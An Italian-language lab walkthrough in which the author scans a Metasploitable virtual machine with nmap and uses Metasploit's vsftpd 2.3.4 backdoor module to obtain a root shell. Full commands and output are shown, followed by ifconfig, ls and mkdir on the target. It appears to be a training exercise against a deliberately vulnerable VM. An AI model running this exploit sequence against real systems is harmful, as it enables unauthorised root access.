

\$nmap -sV 192.168.1.149

La servizio che interessa a noi è un servizio ftp in ascolto sulla porta 21/tcp

```
(kali@kali)-[~]
$ nmap -sV 192.168.1.149
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-19 10:55 EST
Nmap scan report for 192.168.1.149 (192.168.1.149)
Host is up (0.000080s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:1D:5F:3B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.22 seconds
```

Invece sulla MSFconsole cerchiamo con il comando:

\$search vsftpd

Per trovare un exploit per il servizio vsftpd e ne troviamo uno con la descrizione di backdoor.

```
msf > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor     2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Execut
ion

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

Con il comando **use** andremo ad utilizzarlo

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

utilizziamo il comando **\$show options** per capire quali parametri devono essere configurati.

Possiamo configurare l'indirizzo della macchina vittima RHOSTS, che è necessario, con il comando **set**. sapendo che la macchina Metasploitable sia all'indirizzo 192.168.1.149 mandiamo il comando:

\$set RHOSTS 192.168.1.149

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  CHOST      192.168.1.149    no        The local client address
  CPORT      21               no        The local client port
  Proxies    []               no        A proxy chain of format type:host:port[,type:host:port][...]. Supported pro
xies: sapni, socks4, socks5, http, socks5h
  RHOSTS     192.168.1.149    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/b
asics/using-metasploit.html
  RPORT      21               yes       The target port (TCP)

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

msf exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.149
rhosts => 192.168.1.149
```

Bisogna solo scegliere e configurare il payload.

Per vedere quali payloads sono disponibili per l'exploit che abbiamo scelto, usiamo il comando:

\$show payloads

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads

#  Name                               Disclosure Date  Rank  Check  Description
-  -
0  payload/cmd/unix/interact .          normal  No     Unix Command, Interact with Established Connection
```

Notiamo che c'è solamente un payloads ovvero quello di default, non avendo bisogno di nessun parametro è già pronto per essere lanciato.

Lanciamo l'attacco con il comando:

\$exploit

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.13:33219 → 192.168.1.149:6200) at 2026-01-19 11:02:48 -0500
```

Una sessione è stata aperta, abbiamo una shell sul sistema remoto. possiamo provare ad eseguire qualsiasi comando come **ifconfig** che ci restituirà **192.168.1.149** che è l'ip della Metasploitable o anche **ls**.

```
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:1d:5f:3b
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe1d:5f3b/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1621 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1473 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:119049 (116.2 KB)  TX bytes:121843 (118.9 KB)
          Base address:0xd010 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:192 errors:0 dropped:0 overruns:0 frame:0
          TX packets:192 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:68817 (67.2 KB)  TX bytes:68817 (67.2 KB)
```

Una volta dentro la Metasploitable e ottenuto l'accesso andiamo a creare una cartella

test_metasploit, avendone il controllo, con il comando **mkdir**

\$mkdir /test_metasploit

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
mkdir /test_metasploit
█
```